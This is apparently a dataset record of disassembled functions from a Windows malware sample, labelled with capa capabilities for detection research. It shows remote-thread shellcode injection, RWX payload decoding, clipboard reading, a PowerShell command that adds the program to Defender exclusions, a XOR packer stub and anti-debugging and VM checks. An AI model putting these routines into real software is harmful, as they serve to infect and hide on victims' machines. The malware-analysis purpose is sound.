joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416e8e
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, edx
mov eax, ebx
cdq
and edx, 3
push esi
push edi
lea edi, [edx + eax]
mov edx, dword [ebp + 8]
sar edi, 2
lea esi, [ecx + edi*4]
neg edi
je 0x416ecf
imul eax, dword [esi + edi*4], 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, edx
rol eax, 0xd
imul edx, eax, 5
sub edx, 0x19ab949c
add edi, 1
jne 0x416eac
mov eax, ebx
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x416ef5
sub eax, 1
je 0x416eec
sub eax, 1
jne 0x416f0b
movzx ecx, byte [esi + 2]
shl ecx, 0x10
movzx eax, byte [esi + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [esi]
xor eax, ecx
imul eax, eax, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor edx, eax
xor edx, ebx
mov eax, edx
shr eax, 0x10
xor eax, edx
imul ecx, eax, 0x85ebca6b
pop edi
pop esi
pop ebx
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul eax, eax, 0xc2b2ae35
mov ecx, eax
shr ecx, 0x10
xor ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
pop ebp
ret

Function at 0x417025
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 4
mov eax, edx
xor edi, edi
push 0x1000
push eax
push edi
mov dword [ebp - 4], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 4]
mov ebx, eax
lea eax, [edx - 1]
add eax, esi
mov cl, byte [eax]
not cl
mov byte [edi + ebx], cl
inc edi
dec eax
cmp edi, edx
jbe 0x41704f
lea eax, [ebp - 8]
push eax
push 0x40
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x417071
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, edx
push edi
mov edi, ecx
mov dword [ebp - 4], edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x417085
sub esi, ecx
xor ecx, ecx
test ebx, ebx
jle 0x4170aa
mov eax, ecx
mov edi, dword [ebp + 8]
cdq
idiv esi
mov al, byte [edx + edi]
mov edi, dword [ebp - 4]
xor byte [ecx + edi], al
inc ecx
cmp ecx, ebx
jl 0x417094
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4170b1
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x2800000
mov edi, edx
mov esi, ecx
call fcn.00401000
pop ecx
mov ebx, eax
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4170ef
and dword [edi], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 4]
mov dword [edi], eax
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41710f
and dword [edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x41711d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x41715b
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x417160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, edx
mov dword [ebp - 4], ebx
push ebx
push ebx
cmp dword [ebp + 0xc], ebx
jne 0x417180
push 2
push ebx
push ebx
push 0x40000000
jmp 0x417186
push 4
push ebx
push ebx
push 4
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4171ab
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4171b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov edi, edx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4171ee
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x417434
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x44
pop esi
push esi
lea eax, [ebp - 0x54]
mov edi, ecx
push 0
push eax
call fcn.004012cf
add esp, 0xc
mov dword [ebp - 0x54], esi
xor eax, eax
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], ax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax*2 + 2]
push esi
call fcn.00401000
push esi
mov ebx, eax
push edi
push ebx
call fcn.004012a9
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4174b5
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push ebx
call fcn.00401014
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4174ba
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push edi
mov edi, ecx
push 0
and dword [edi], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4174fc
push esi
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x4174f5
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4174f5
push eax
mov ecx, edi
call fcn.0040351b
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
mov eax, edi
pop edi
ret

Function at 0x417500
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x124
mov esi, eax
lea eax, [ebp - 0x124]
push 0
push eax
call fcn.004012cf
add esp, 0xc
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x417579
lea edx, [ebp - 0x104]
mov edi, 0x41d920
xor ecx, ecx
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x41756b
inc ecx
cmp ecx, 0xd
jne 0x417554
mov eax, dword [ebp - 0x120]
jmp 0x417586
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x417547
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x41758a
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, 0xff
mov dword [ebp - 0x10c], eax
push ebx
call fcn.00401000
pop ecx
push ebx
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
sub ecx, esi
mov al, byte [esi]
mov byte [ecx + esi], al
inc esi
test al, al
jne 0x4175d5
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x3000
push 0x800
push 0
push edi
call esi
push 0
push 0x800
push 0x420168
mov ebx, eax
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call edi
lea eax, [ebp - 8]
push eax
push 0x40
push 0x800
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 4
push 0x3000
push 0x103
push 0
push dword [ebp - 4]
call esi
push 0
mov esi, eax
lea eax, [ebp - 0x10c]
push 0x103
push eax
push esi
push dword [ebp - 4]
call edi
xor ecx, ecx
lea eax, [ebx + 0x10e]
push ecx
push ecx
push esi
push eax
push ecx
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
mov dword [0x554094], eax
pop ebx
leave
ret
Function at 0x41766d
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x417727
cmp dword [ebp - 4], 0
je 0x417717
push 0x40
push 0x1000
push 0xff
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 5
pop ecx
mov esi, 0x41ab88
lea edi, [ebx + eax]
rep movsd dword es:[edi], dword [esi]
push 0x44
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.004012cf
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x417727
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0xc]
jmp 0x417722
call fcn.00417500
test eax, eax
je 0x417727
mov edx, eax
call fcn.0041758a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x417ef7
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 0xc], 0
jne 0x417f08
jmp 0x418003
call fcn.00418cb1
cmp eax, dword [ebp + 8]
jae 0x417f16
and dword [ebp + 8], 0
mov eax, dword [ebp + 0xc]
and dword [eax], 0
lea eax, [ebp - 8]
push eax
call fcn.00418eda
pop ecx
push eax
push 0x41d954
push 1
push 0
push 0x41a4c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp - 8], 0
jne 0x417f46
jmp 0x418003
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 4]
push eax
push 0x41a4b0
push dword [ebp - 8]
call dword [ebp - 0x18]
cmp dword [ebp - 4], 0
jne 0x417f6d
jmp 0x418003
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [ebp - 4]
call dword [eax + 0x14]
and dword [ebp - 0xc], 0
xor eax, eax
inc eax
je 0x417fef
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push dword [ebp - 4]
call dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x417fab
jmp 0x417fef
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x24], eax
push dword [ebp + 0xc]
push 0x41a460
push 0
push 0
push dword [ebp - 0x10]
call dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
cmp dword [eax], 0
je 0x417fed
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
jne 0x417fdd
jmp 0x417fef
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call fcn.00418ee2
pop ecx
jmp 0x417f7c
lea eax, [ebp - 4]
push eax
call fcn.00418ee2
pop ecx
lea eax, [ebp - 8]
push eax
call fcn.00418ee2
pop ecx
leave
ret
Function at 0x418cb1
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x41a470
push 1
push 0
push 0x41a4c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp dword [ebp - 8], 0
je 0x418d56
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x10], eax
push 0
lea eax, [ebp - 4]
push eax
push 0x41a4b0
push dword [ebp - 8]
call dword [ebp - 0x10]
cmp dword [ebp - 4], 0
je 0x418d4c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push dword [ebp - 4]
call dword [eax + 0x14]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
push 0
lea eax, [ebp - 0x18]
push eax
push 1
push dword [ebp - 4]
call dword [ebp - 0x14]
test eax, eax
jne 0x418d42
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
call fcn.00418ee2
pop ecx
jmp 0x418d12
lea eax, [ebp - 4]
push eax
call fcn.00418ee2
pop ecx
lea eax, [ebp - 8]
push eax
call fcn.00418ee2
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x418f87
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, 0x100
push edi
call fcn.00401000
mov esi, eax
push edi
mov dword [ebp - 4], esi
call fcn.00401000
push edi
push 0
push esi
mov ebx, eax
call fcn.004012cf
push edi
push 0
push ebx
call fcn.004012cf
add esp, 0x20
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov edx, dword [ebp - 4]
mov esi, str.powershell_Add_MpPreference__ExclusionPath
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ax, word [edx]
lea esi, [ecx + 1]
mov word [ebx + 0x2b], ax
mov al, byte [edx + 2]
mov byte [ebx + 0x2d], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418fe9
mov al, byte [edx + 0xff]
sub ecx, esi
push 0
push ebx
mov byte [ecx + ebx], al
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x419d42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
push ebx
push esi
push edi
push 0x408
lea eax, [ebp - 0x498]
mov ebx, ecx
push 0
push eax
call fcn.004012cf
movaps xmm0, xmmword [0x41dac0]
lea esi, [ebp - 0x90]
movups xmmword [ebp - 0x90], xmm0
lea edi, [ebp - 0x498]
add esp, 0xc
movaps xmm0, xmmword [0x41daf0]
xor eax, eax
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x298], 0x80
movaps xmm0, xmmword [0x41dad0]
movups xmmword [ebp - 0x70], xmm0
push 0x20
movaps xmm0, xmmword [0x41db20]
movups xmmword [ebp - 0x60], xmm0
pop ecx
movaps xmm0, xmmword [0x41db10]
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x94], 3
movaps xmm0, xmmword [0x41db30]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x41dae0]
movups xmmword [ebp - 0x30], xmm0
movaps xmm0, xmmword [0x41db00]
movups xmmword [ebp - 0x20], xmm0
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebx + 0x1c]
mov ebx, dword [ebx + 0x18]
mov word [ebp - 0x294], 1
mov byte [ebp - 0x292], 1
mov dword [ebp - 8], esi
call fcn.00407d2f
mov dword [ebp - 0x10], eax
or eax, edx
mov dword [ebp - 0xc], edx
je 0x419ee8
push esi
push ebx
lea ecx, [ebp - 0x10]
call fcn.00419c61
movsx eax, byte [ebx + 7]
cdq
mov edi, eax
mov ecx, edx
movsx eax, byte [ebx + 6]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx + 5]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx + 4]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx + 3]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx + 2]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx + 1]
shld ecx, edi, 8
cdq
shl edi, 8
or ecx, edx
or edi, eax
movsx eax, byte [ebx]
shld ecx, edi, 8
cdq
shl edi, 8
push esi
or edi, eax
call fcn.00401000
mov edx, dword [ebp - 8]
add esp, 8
mov esi, eax
mov ecx, ebx
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x498]
push esi
push eax
call fcn.00407aa0
mov edi, dword [ebp - 4]
add esp, 0x14
mov edx, edi
mov ecx, esi
call fcn.00417025
mov esi, eax
test edi, edi
jle 0x419ee6
xor ecx, ecx
mov eax, ecx
push 0xe
cdq
pop ebx
idiv ebx
mov al, byte [edx + str.BQAaR_43_QAFff]
xor byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x419ed0
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x426dcb
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00418cbb
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x426e03
xor eax, eax
jmp 0x426e2f
cmp esi, dword [ebp - 4]
je 0x426e2c
cmp dword [ebp + 0xc], 0
je 0x426e2c
push dword [edi + 0x9c]
call fcn.004269d9
push dword [edi + 0x9c]
mov esi, eax
call fcn.00416bd5
pop ecx
pop ecx
cmp esi, eax
je 0x426dff
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ed0
nop
mov ecx, 0x30d32821
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x3a8b24ab
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x430084
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0xfe4815
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xfe49b8
pushfd
pop word [esp]
pushal
pop dword [esp + 0xf]
push word [esp + 0x1b]
jge 0xfe47dc
pushal
mov dword [esp + 0x26], edi
mov dword [esp + 0x64], edi
jmp 0xfe4821
push cx
pop word [esp]
mov dword [esp + 0x28], esi
jmp 0xfe47f2
lea esp, [esp + 0x64]
jmp 0xfe483b
lea esp, [esp + 0x64]
pushfd
jmp 0xfe4773
pushal
mov dword [esp + 0x26], edi
mov dword [esp + 0x64], edi
jmp 0xfe4837

Function at 0xfe6dbc
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0fd5c88
jmp 0xfe6deb
lea esp, [esp + 2]
mov dword [esp], ebp
pushal
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], edi
jmp 0xfe6de1
mov byte [esp + 2], cl
push eax
pop dword [esp]
jmp 0xfe6da6
lea esp, [esp + 0x18]
pushfd
jmp 0xfe67f8
cmc
jmp 0xfe7093
mov ah, al
mov ch, byte [esp]
mov dl, 0x84
jmp 0xfe6f19
lea eax, [eax + eax]
jmp 0xfe6ecb
lea ebp, [esp + ebp]
lea edi, [esp]
lea ebp, [ebx - 0x7a]
lea eax, [eax*4]
jmp 0xfe6e14
jmp 0xfe6e2a
mov cl, 8
bswap eax
lea eax, [eax + 0xb9]
mov ch, byte [esp]
jmp 0xfe6e73
mov ebx, esi
mov edx, dword [esp]
setbe dh
jmp 0xfe6e53
bsr ax, sp
js 0xfe6eae
push bp
push ebx
push dword [esp + 3]
lea esp, [esp + 2]
jmp 0xfe6eb3
setl bh
bt cx, dx
jl 0xfe6e69
jge 0xfe6e69
push dword [esp + 3]
lea esp, [esp + 2]
jmp 0xfe6eb3
push bp
push ebx
jmp 0xfe6e98
rol esi, 0
mov ax, word [esp]
setae ch
ror ax, cl
jmp 0xfe6ede
sub esp, 0xc0
mov ebp, esp
rdtsc
lea edx, [ebx*4]
jmp 0xfe6e8d
jle 0xfe6ef4
sub esp, 0x1e
mov word [esp + 0xd], di
jmp 0xfe6f4b
mov eax, 0x661eec83
mov dword [esp + 0xd], edi
sub esp, 0x1e
mov word [esp + 0xd], di
rdtsc
call fcn.00fe6f33
lea esp, [esp + 0x28]
sub esi, 0x293fd88b
push ebx
mov al, cl
mov byte [esp], ah
jmp 0xfe6f6b
mov esi, dword [esp + 0x2c]
mov dx, 0x21f6
mov bl, 0x9f
dec dx
je 0xfe6e51
lea ebp, [esp + ebp]
jmp 0xfe6e2d
rdtsc
jmp 0xfe6efe
call fcn.00fe7028
mov edx, dword [esp]
rdtsc
neg cx
call fcn.00fe7053
jecxz 0xfe6fde
jmp 0xfe6ef3
mov ecx, dword [esp]
lea esp, [esp + 4]
add esi, 0x2341800
bsr cx, sp
jb 0xfe6f4f
mov edx, dword [esp]
jmp 0xfe6f54
mov dl, 0x84
jmp 0xfe6f19
xor al, 0x24
ret 4
jb 0xfe6df2
mov ah, al
mov ch, byte [esp]
jmp 0xfe6fac

Function at 0xff488b
Capabilities:
Check for trap flag exception

Disassembly:
push ebx
jmp 0xfd9846
pushfd
or dword [esp], reloc.WINMM.dll_waveOutRestart
popfd
cpuid
nop
jmp 0xfd985d
pop ebx
ret
jmp 0xfd983a
Function at 0xff491c
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push dword [esp + 4]
call 0xff48c9
pop ax
not ah
mov ax, dx
mov word [esp], bx
jmp 0xff4900
mov eax, 0x2cd61cd3
mov word [esp], di
lea esp, [esp + 2]
push edi
jmp 0xff4958
dec eax
sbb dword [edx + esi*4], 0xe99a24d5
or byte [ebx - 0x1676143e], ch
les eax, [ecx]
add byte [eax], al
aas
test al, 0x71
cmp dword [edi - reloc.WINMM.dll_waveOutRestart], edi
sbb ah, byte [eax + edx*8 - 0xb]
bound ebx, qword [ebp + 0x648dffec]
and al, 2
lea esp, [esp + 2]
push esi
mov si, word [esp]
xchg ah, al
mov al, cl
mov edi, 0x7d0bec3e
call 0xff491c
pop ss
or byte [ecx + 0x11], 0xb5
loope 0xff490f
xlatb
in al, dx
add byte [0x9d62cba8], dh
lea edi, [esi*4]
push cx
lea eax, [ecx*4]
mov eax, 0xf5c7d5
xchg byte [esp], al
lea eax, [ebx*4]
jmp 0xff4932

Function at 0xff4e4a
Capabilities:
Encode data using xor

Disassembly:
mov ah, cl
mov ax, si
xchg ah, al
mov dl, bh
mov edx, 0xc090dbf6
mov ax, word [esp]
pop edx
lea eax, [ebx + esi]
jmp 0xff4761
push sp
mov word [esp], ax
lea esp, [esp + 2]
pop ebp
mov dx, bx
bswap eax
jmp 0xff4777
push ebp
mov dh, bl
mov al, byte [esp]
setno dh
xchg dl, al
mov dx, 0xc4d8
jmp 0xff4797
xchg word [esp + 1], dx
pop ax
mov dx, word [esp]
lea esp, [esp + 1]
lea esp, [esp + 1]
jmp 0xff47fc

Function at 0x1008e1d
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.00ff43b4
pushfd
pop cx
lea esp, [esp + 2]
jmp 0x1008def
push dword [esp + 2]
lea esp, [esp + 2]
lea esp, [esp + 8]
jmp 0x1008dcb
add dword [esi], eax
bswap ecx
mov ch, byte [esp]
bt cx, cx
lea ecx, [eax + edx]
jmp 0x1008e10
pop ecx
lea ecx, reloc.WINMM.dll_waveOutRestart
call 0x1008e1d
fmul dword [ebp - reloc.WINMM.dll_waveOutRestart]
mov dword [ecx + ebp*8], reloc.WINMM.dll_waveOutRestart
sub edi, dword [edi + reloc.WINMM.dll_waveOutRestart]
adc cl, byte [ebp - 0x728990e4]
and al, 4